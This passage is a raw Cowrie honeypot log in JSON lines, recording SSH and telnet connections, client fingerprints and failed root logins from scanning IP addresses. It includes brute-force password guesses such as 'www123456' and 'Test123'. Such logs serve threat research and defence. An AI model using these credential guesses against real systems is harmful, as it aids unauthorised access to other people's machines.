{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52960,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0eb65b936bd","protocol":"telnet","message":"New connection: 152.42.224.71:52960 (10.17.0.5:23) [session: e0eb65b936bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:27.293447Z"}
{"eventid":"cowrie.session.closed","duration":120.00154995918274,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:27.306757Z","src_ip":"152.42.224.71","session":"fdd80c627cca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":51464,"dst_ip":"159.203.135.109","dst_port":22,"session":"c57ff132dc46","protocol":"ssh","message":"New connection: 43.156.227.3:51464 (159.203.135.109:22) [session: c57ff132dc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:27.452356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:27.475380Z","src_ip":"43.156.227.3","session":"c57ff132dc46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:27.720858Z","src_ip":"43.156.227.3","session":"c57ff132dc46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.924516439437866,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:27.975008Z","src_ip":"152.42.224.71","session":"fe45f8af822c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"www123456","message":"login attempt [root/www123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:28.700349Z","src_ip":"43.156.227.3","session":"c57ff132dc46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:29.941240Z","src_ip":"43.156.227.3","session":"c57ff132dc46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52966,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ee1a404684","protocol":"telnet","message":"New connection: 152.42.224.71:52966 (10.17.0.5:23) [session: 21ee1a404684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:30.457329Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52976,"dst_ip":"10.17.0.5","dst_port":23,"session":"28eee1145d23","protocol":"telnet","message":"New connection: 152.42.224.71:52976 (10.17.0.5:23) [session: 28eee1145d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:31.521713Z"}
{"eventid":"cowrie.session.closed","duration":101.05018734931946,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:31.776590Z","src_ip":"152.42.224.71","session":"552a58530f36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.265711545944214,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:32.089830Z","src_ip":"152.42.224.71","session":"ce76242d1cb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52978,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4c27a5255b3","protocol":"telnet","message":"New connection: 152.42.224.71:52978 (10.17.0.5:23) [session: b4c27a5255b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:32.555542Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":38278,"dst_ip":"159.203.135.109","dst_port":22,"session":"a685f8b2b734","protocol":"ssh","message":"New connection: 43.153.54.120:38278 (159.203.135.109:22) [session: a685f8b2b734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:38.427189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:38.432379Z","src_ip":"43.153.54.120","session":"a685f8b2b734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:38.504718Z","src_ip":"43.153.54.120","session":"a685f8b2b734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123","message":"login attempt [root/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:38.811443Z","src_ip":"43.153.54.120","session":"a685f8b2b734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.81423282623291,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:39.107551Z","src_ip":"152.42.224.71","session":"e0eb65b936bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.956175088882446,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:39.709107Z","src_ip":"152.42.224.71","session":"9886f06745ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:39.883094Z","src_ip":"43.153.54.120","session":"a685f8b2b734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.56384563446045,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:43.346993Z","src_ip":"152.42.224.71","session":"16d191c9dd69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":52920,"dst_ip":"159.203.135.109","dst_port":22,"session":"520ff4a53042","protocol":"ssh","message":"New connection: 139.19.117.129:52920 (159.203.135.109:22) [session: 520ff4a53042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:44.752301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:44.758312Z","src_ip":"139.19.117.129","session":"520ff4a53042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:44.855704Z","src_ip":"139.19.117.129","session":"520ff4a53042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.472273111343384,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:44.877723Z","src_ip":"152.42.224.71","session":"402dc804094d","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:ea:62:c7:5e:d2:d9:5e:10:03:fd:f2:6e:a0:a9:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzml2PeIHOUG+78TIk0lQcR5JC/mlDElDtplEfq8KDiJFwD8z9Shhk2kG0pwzw9uUr7R24h8lnh9DWpiKfoy4MeMFrTO8akT1hXf4yn9IEEHdiq9hVz1ZkEnUdjyzuvXGIOcRe2FqQaovFY15gSDZzJc5K6NMT8uW1aitHAsYXZDW8uh+/SJAqcCCVUtVnZRj4nlhQxW2810CJGQQrixkkww7F/9XRlddH3HkNuRlZLQMk5oGHTxeySKKfqoAoXgZXac9VBAPRUU+0PrBrOSWlXFbGBPJSdvDfxBqcg4hguacD1EW0/5ORR7Ikp1i6y+gIpdydwxW51yAqrYqHI5iD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:ea:62:c7:5e:d2:d9:5e:10:03:fd:f2:6e:a0:a9:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:45.054329Z","src_ip":"139.19.117.129","session":"520ff4a53042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:ea:62:c7:5e:d2:d9:5e:10:03:fd:f2:6e:a0:a9:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzml2PeIHOUG+78TIk0lQcR5JC/mlDElDtplEfq8KDiJFwD8z9Shhk2kG0pwzw9uUr7R24h8lnh9DWpiKfoy4MeMFrTO8akT1hXf4yn9IEEHdiq9hVz1ZkEnUdjyzuvXGIOcRe2FqQaovFY15gSDZzJc5K6NMT8uW1aitHAsYXZDW8uh+/SJAqcCCVUtVnZRj4nlhQxW2810CJGQQrixkkww7F/9XRlddH3HkNuRlZLQMk5oGHTxeySKKfqoAoXgZXac9VBAPRUU+0PrBrOSWlXFbGBPJSdvDfxBqcg4hguacD1EW0/5ORR7Ikp1i6y+gIpdydwxW51yAqrYqHI5iD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:45.058162Z","src_ip":"139.19.117.129","session":"520ff4a53042","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:ea:62:c7:5e:d2:d9:5e:10:03:fd:f2:6e:a0:a9:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzml2PeIHOUG+78TIk0lQcR5JC/mlDElDtplEfq8KDiJFwD8z9Shhk2kG0pwzw9uUr7R24h8lnh9DWpiKfoy4MeMFrTO8akT1hXf4yn9IEEHdiq9hVz1ZkEnUdjyzuvXGIOcRe2FqQaovFY15gSDZzJc5K6NMT8uW1aitHAsYXZDW8uh+/SJAqcCCVUtVnZRj4nlhQxW2810CJGQQrixkkww7F/9XRlddH3HkNuRlZLQMk5oGHTxeySKKfqoAoXgZXac9VBAPRUU+0PrBrOSWlXFbGBPJSdvDfxBqcg4hguacD1EW0/5ORR7Ikp1i6y+gIpdydwxW51yAqrYqHI5iD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:ea:62:c7:5e:d2:d9:5e:10:03:fd:f2:6e:a0:a9:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:45.157820Z","src_ip":"139.19.117.129","session":"520ff4a53042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:ea:62:c7:5e:d2:d9:5e:10:03:fd:f2:6e:a0:a9:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzml2PeIHOUG+78TIk0lQcR5JC/mlDElDtplEfq8KDiJFwD8z9Shhk2kG0pwzw9uUr7R24h8lnh9DWpiKfoy4MeMFrTO8akT1hXf4yn9IEEHdiq9hVz1ZkEnUdjyzuvXGIOcRe2FqQaovFY15gSDZzJc5K6NMT8uW1aitHAsYXZDW8uh+/SJAqcCCVUtVnZRj4nlhQxW2810CJGQQrixkkww7F/9XRlddH3HkNuRlZLQMk5oGHTxeySKKfqoAoXgZXac9VBAPRUU+0PrBrOSWlXFbGBPJSdvDfxBqcg4hguacD1EW0/5ORR7Ikp1i6y+gIpdydwxW51yAqrYqHI5iD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:45.161491Z","src_ip":"139.19.117.129","session":"520ff4a53042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":88.5402901172638,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:47.934180Z","src_ip":"152.42.224.71","session":"9f49abddea25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.61023712158203,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:48.571167Z","src_ip":"152.42.224.71","session":"231f26bb701d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84070158004761,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:51.046211Z","src_ip":"152.42.224.71","session":"9de477339890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183081626892,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:52.066188Z","src_ip":"152.42.224.71","session":"a1e05a7bfae1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60588,"dst_ip":"10.17.0.5","dst_port":23,"session":"6600db8d052f","protocol":"telnet","message":"New connection: 152.42.224.71:60588 (10.17.0.5:23) [session: 6600db8d052f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:53.885296Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60600,"dst_ip":"10.17.0.5","dst_port":23,"session":"a932247a5388","protocol":"telnet","message":"New connection: 152.42.224.71:60600 (10.17.0.5:23) [session: a932247a5388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:54.402532Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:54.753455Z","src_ip":"139.19.117.129","session":"520ff4a53042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0023627281189,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:56.111594Z","src_ip":"152.42.224.71","session":"08a0629e15cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36664,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab97821412e1","protocol":"telnet","message":"New connection: 152.42.224.71:36664 (10.17.0.5:23) [session: ab97821412e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:08:58.141781Z"}
{"eventid":"cowrie.session.closed","duration":27.638330936431885,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:00.193785Z","src_ip":"152.42.224.71","session":"b4c27a5255b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36674,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0e5ad4ef553","protocol":"telnet","message":"New connection: 152.42.224.71:36674 (10.17.0.5:23) [session: c0e5ad4ef553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:02.512272Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":50880,"dst_ip":"159.203.135.109","dst_port":22,"session":"7323f663b60e","protocol":"ssh","message":"New connection: 119.28.115.94:50880 (159.203.135.109:22) [session: 7323f663b60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:03.929698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:03.935007Z","src_ip":"119.28.115.94","session":"7323f663b60e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:04.174592Z","src_ip":"119.28.115.94","session":"7323f663b60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36686,"dst_ip":"10.17.0.5","dst_port":23,"session":"79aa6807ff06","protocol":"telnet","message":"New connection: 152.42.224.71:36686 (10.17.0.5:23) [session: 79aa6807ff06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:04.202570Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"server","message":"login attempt [root/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:05.158665Z","src_ip":"119.28.115.94","session":"7323f663b60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:06.399410Z","src_ip":"119.28.115.94","session":"7323f663b60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":35824,"dst_ip":"159.203.135.109","dst_port":22,"session":"862114038206","protocol":"ssh","message":"New connection: 101.36.108.213:35824 (159.203.135.109:22) [session: 862114038206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:06.914064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:06.922746Z","src_ip":"101.36.108.213","session":"862114038206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 